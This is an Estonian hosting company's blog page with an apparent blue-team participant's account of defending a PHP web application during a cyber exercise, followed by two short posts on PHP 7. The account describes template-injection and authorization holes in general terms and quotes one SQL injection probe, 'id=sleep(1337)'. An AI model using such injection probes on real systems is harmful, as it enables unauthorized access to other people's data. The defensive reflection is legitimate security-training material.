Need on monitooringupäringud
Aa okei, hea küll

Päeva lõpus prooviti veel üht auku, mis oli pool-lahti. St. et saadi käima tõmmata PHP funktsioone, kuid selleks funktsiooniks, mida käima prooviti saada, oli system (kusjuures jälle läbi templiidisüsteemi, aga teise augu kaudu), mis oli Linuxi adminni poolt just 5 minutit tagasi ära keelatud. Seega ei läinud see funktsioon käima ning suutsin vastava augu ka kiirelt kinni panna, et teisi funktsioone proovida ei saaks.

Kui kell viis mängu võrk kinni pandi oli kergendus suur, aga tunne oli pigem positiivne, kõik paistis olevat kontrolli all. Õhtul võtsin koodi kodus ette ja käisin templiidid veel korralikult üle, et kõik oleks korralikult escape’itud.

Päev 2.

Esimese asjana uuendasin koodifailid ära, et oleks kõik kindel. Paraku hakkasid üsna pea samad jamad peale nagu eelminegi päev. Andmebaasi ilmus kummaline rida uue kasutajaga, kellel olid märgitud rakenduse adminni õigused. Toimusid mingid anomaaliad. Tundus, et midagi oli selle templiidisüsteemiga endiselt väga valesti. Käisin järgmiseks üle koodi poole, kus templiiti välja kutsuti ning eemaldasin kõik templiidile edastatavad muutujad, mida polnud hädasti vaja. See paistis aitavat, anomaaliad kadusid. Tagantärgi selgus, et olin õhtuste parandustega vana augu uuesti lahti teinud.

Üsna pea tekkisid katsed kasutaja õiguste eskaleerimiseks, kus küpsise abil üritati sättida endale selliseid sessiooni andmeid, mida tegelikult ei olnud. Seda võimaldav viga oli juba ammu parandatud ja seega üritus läbi ei läinud.

Küll aga olid endiselt alles tegelikult juba eelmisel päeval välja tulnud probleemid õigustega – kasutajad said teha rohkem, kui neil oli lubatud. Meetodite autoriseerimiskontrollid olid nõrgad (adminnile ette nähtud tegevusi sai teha ka tavakasutaja) või puudusid üldse (igaüks kes oskas õige päringu koostada sai tegevust läbi viia). Ning seda muidugi kasutati ka ära. Õnneks sain nende aukude puhul kiirelt jaole ja muutsin käsitsi muudetud andmed tagasi, seekord me andmebaasi taastamist ei teinud.

Mingi hetk läks juba igavaks, kõik teadaolevad augud olid kinni, mis andis võimaluse minna üle ofensiivsemale taktikale. Kuna mul oli logimine päris hästi paigas, oli reaalajas ülevaade, et mis parasjagu rakenduses toimub ja kes seal toimetab, tuvastasin kahtlase liikluse kohe selle tekkimisel.

Kohe kui ründaja midagi teha üritas, tegin oma liigutused vastu. Ründaja registreeris uue konto. Mina kustutasin selle konto baasist ära ja tegin PHP sessiooni kausta tühjaks. Ründaja tegi uue konto. Mina kustutasin ära. Ja nii väga palju kordi. Vahepeal lasin ka veidi toimetada, vaatasin, et millega tegeleb, aga esimese POST päringu peale lendas konto jälle minema. See ei olnud mingil viisil skriptitud, tegin kõike käsitsi.

Ühel hetkel aga hakkas üks “päris” kasutaja kurtma, et tal ei õnnestu uude kontosse sisse logida, mille tagajärjel pidin oma hoogu maha tõmbama. Hiljem tuli välja, et kuna punastel konto loomine minu vastutegevuse tõttu (millest nad ei teadnud) ei õnnestunud, palusid nad seda proovida ühel “päris” kasutajal ning kuna see sattus ajaliselt ja välimuselt kokku punaste tegevusega, arvasin, et ka see “päris” kasutaja on punane ja kustutasin ka tema kontod ära. Üldine arvamus punaste poolel oli, et tegeleme cheatimisega, taastame cronist baasi iga hetke tagant ning peaksime saama miinuspunkte. See siiski ei olnud nii ja õnneks miinuspunkte ka ei saanud.

Punaste kahjuks ja minu õnneks oli tava-trafficu genereerimine korraldajate poolt üsna kehval järjel või puudus üldse, mis andis kogu punaste tegevuse mulle selleks hetkeks nagu peo peal ette. Nemad arvasid, et tegutsevad suitsukatte all, mina aga vaatasin seda tegevust sisuliselt läbi suurendusklaasi.

Joonis 5. Tüüpiline monitooringuvaade veebirakenduse staatusest võistluse ajal

Päris lõpus keskendusid põhirünnakud juba muude süsteemide vastu, veebi poolel midagi põrutavat ei toimunud. Üritati vahelduva eduga mingeid lihtsamaid SQL-injectioneid stiilis id=sleep(1337) ning ka skriptifailide üleslaadimist, aga kui midagi osaliselt kehvade õiguste kontrolli tõttu läkski läbi, sain sellise augu momentaalselt elimineeritud, nii et ründaja ei saanud ilmselt arugi, kui tal miski õnnestus.

Tulemus

Veebiosa lõpptulemus oli väga hea, kuna punased suutsid püstitatud eesmärkidest meie vastu saavutada vaid üksikud. Peetri asjadest ei saadud vist üldse läbi ja minul olid need mõned custom rakenduse augud, millest läbi saadi. Väga suur osa selles tulemuses oli ka Linuxi adminnidel, tänu kellele sai leitud mitmeid konfiguratsiooniauke ning kes aitasid rakendusi kogu selle aja püsti hoida. Oli väga hea tiimitöö ning tulemus oli ka näha, sest meie võistkond sai kokkuvõttes teise koha, kaotades üldvõitjale väga napilt.

Ühtepidi oli muidugi kahju, et võistlus läbi sai, aga nii intensiivset koormust taluda ei oleks enam väga kaua suutnud. Kokkuvõttes võib öelda, et sellised õppused on väga vajalikud, kuna reaalse ründesituatsioonita võib ju teoretiseerida, et kuidas end kaitsta, aga kui käsi tegelikult mustaks ei tee, siis see jääbki ainult teooriaks. Õppisin nädalaga rohkem, kui muidu aastaga ja see vist oligi kogu asja eesmärk. Mission accomplished.

Järjejutu kõik osad:

PHP 7 on kohal!

php7_300x152

Viimati laulsime siin blogis PHP 7. versioonile hoosiannat siis, kui esimese Release Candidate versiooni oma platvormi lisasime. Täna on mul hea meel teada anda, et PHP 7 on “valmis saanud” ja neil, kel on ühilduv veebileht, hea võimalus see kuni 2x kiiremaks teha.

PHP režiimi vahetamine on võimalik "Minu Zone" haldusliidese vahendusel.
PHP režiimi vahetamine on võimalik “Minu Zone” haldusliidese vahendusel.

PHP 7-ga töötavad juba mitmed sisuhaldussüsteemid ja arendusraamistikud, sealhulgas näiteks WordPress 4.3, Drupal 8, Symfony jt. Hoopis teine lugu võib loomulikult olla erinevate teemade või pluginatega, seetõttu ei maksaks ettevaatlikkust päris unustada. Kannatlikud võiks olla Joomla kasutajad, sest PHP 7 tugi peaks saabuma versiooniga 3.5, mis omakorda ilmub järgmisel nädalal.

Neil, kes oma rakendusi ise ei värskenda ja ei kasuta ka Zone+ abil tehtavaid automaatseid uuendusi, tasub samuti oma järsult tekkinud tegutsemisjanu ohjata. Kui ikka tarkvara versiooninumber on mitu põlvkonda aktuaalsest maas, siis kohe ei maksa PHP režiimi vahetama tormata. Tuleks eelnevalt oma rakendused kaasaega tuua.

Tarkvaraarendajatel tasuks loomulikult heita pilk peale asjadele, mis on muutunud ja leida oma loomingus esinevatele ühilduvusprobleemidele elegantsed lahendused 🙂

PHP 7 (RC) annab Zone platvormil uskumatuid tulemusi

wp_bench

Kuigi PHP 7. stabiilse versiooni ilmumiseni on jäänud kuu või poolteist, on õige aeg hakata tegema ettevalmistusi üleminekuks.

Värskeima versiooni kasutusele võtmiseks on põhjust – nimelt oodatakse PHP pere pesamunalt 2x kiirusevõitu, võrreldes varasemate versioonidega. Meie testid, mille tulemus näha kõrvaoleval pildil, ületavad neid ootuseid.

Loe edasi “PHP 7 (RC) annab Zone platvormil uskumatuid tulemusi”